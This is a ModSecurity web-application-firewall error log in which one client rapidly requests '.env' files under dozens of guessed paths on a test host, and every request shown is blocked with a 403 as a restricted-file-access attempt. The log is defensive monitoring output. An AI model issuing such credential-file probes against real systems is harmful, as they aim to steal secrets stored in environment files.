[Thu Feb 26 01:02:57.032746 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cardea/backend/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkfAAAAAM&quot;]
[Thu Feb 26 01:02:57.060622 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cdw-backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cdw-backend/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkfQAAAAM&quot;]
[Thu Feb 26 01:02:57.060859 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cdw-backend/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkfQAAAAM&quot;]
[Thu Feb 26 01:02:57.061009 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cdw-backend/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkfQAAAAM&quot;]
[Thu Feb 26 01:02:57.066138 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bgoldd/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bgoldd/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PVQAAAAU&quot;]
[Thu Feb 26 01:02:57.066373 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bgoldd/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PVQAAAAU&quot;]
[Thu Feb 26 01:02:57.066535 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bgoldd/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PVQAAAAU&quot;]
[Thu Feb 26 01:02:57.089908 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bitcoind/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoind/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PVgAAAAU&quot;]
[Thu Feb 26 01:02:57.090137 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoind/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PVgAAAAU&quot;]
[Thu Feb 26 01:02:57.090296 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoind/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PVgAAAAU&quot;]
[Thu Feb 26 01:02:57.094463 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cgi-bin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cgi-bin/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkfgAAAAM&quot;]
[Thu Feb 26 01:02:57.094692 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cgi-bin/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkfgAAAAM&quot;]
[Thu Feb 26 01:02:57.094842 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cgi-bin/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkfgAAAAM&quot;]
[Thu Feb 26 01:02:57.122624 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blankon/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blankon/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PVwAAAAU&quot;]
[Thu Feb 26 01:02:57.122893 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blankon/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PVwAAAAU&quot;]
[Thu Feb 26 01:02:57.123046 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blankon/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PVwAAAAU&quot;]
[Thu Feb 26 01:02:57.150981 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch2-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch2-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkgAAAAAM&quot;]
[Thu Feb 26 01:02:57.151271 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch2-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkgAAAAAM&quot;]
[Thu Feb 26 01:02:57.151448 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch2-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkgAAAAAM&quot;]
[Thu Feb 26 01:02:57.170060 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blob/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blob/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PWAAAAAU&quot;]
[Thu Feb 26 01:02:57.170647 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blob/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PWAAAAAU&quot;]
[Thu Feb 26 01:02:57.170848 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blob/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PWAAAAAU&quot;]
[Thu Feb 26 01:02:57.182698 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch6-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkgQAAAAM&quot;]
[Thu Feb 26 01:02:57.182968 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkgQAAAAM&quot;]
[Thu Feb 26 01:02:57.183178 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkgQAAAAM&quot;]
[Thu Feb 26 01:02:57.196368 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PWQAAAAU&quot;]
[Thu Feb 26 01:02:57.196643 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PWQAAAAU&quot;]
[Thu Feb 26 01:02:57.196814 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PWQAAAAU&quot;]
[Thu Feb 26 01:02:57.226166 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blogs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blogs/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PWgAAAAU&quot;]
[Thu Feb 26 01:02:57.226464 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blogs/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PWgAAAAU&quot;]
[Thu Feb 26 01:02:57.226650 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blogs/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PWgAAAAU&quot;]
[Thu Feb 26 01:02:57.237323 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch6a-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6a-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkggAAAAM&quot;]
[Thu Feb 26 01:02:57.237609 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6a-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkggAAAAM&quot;]
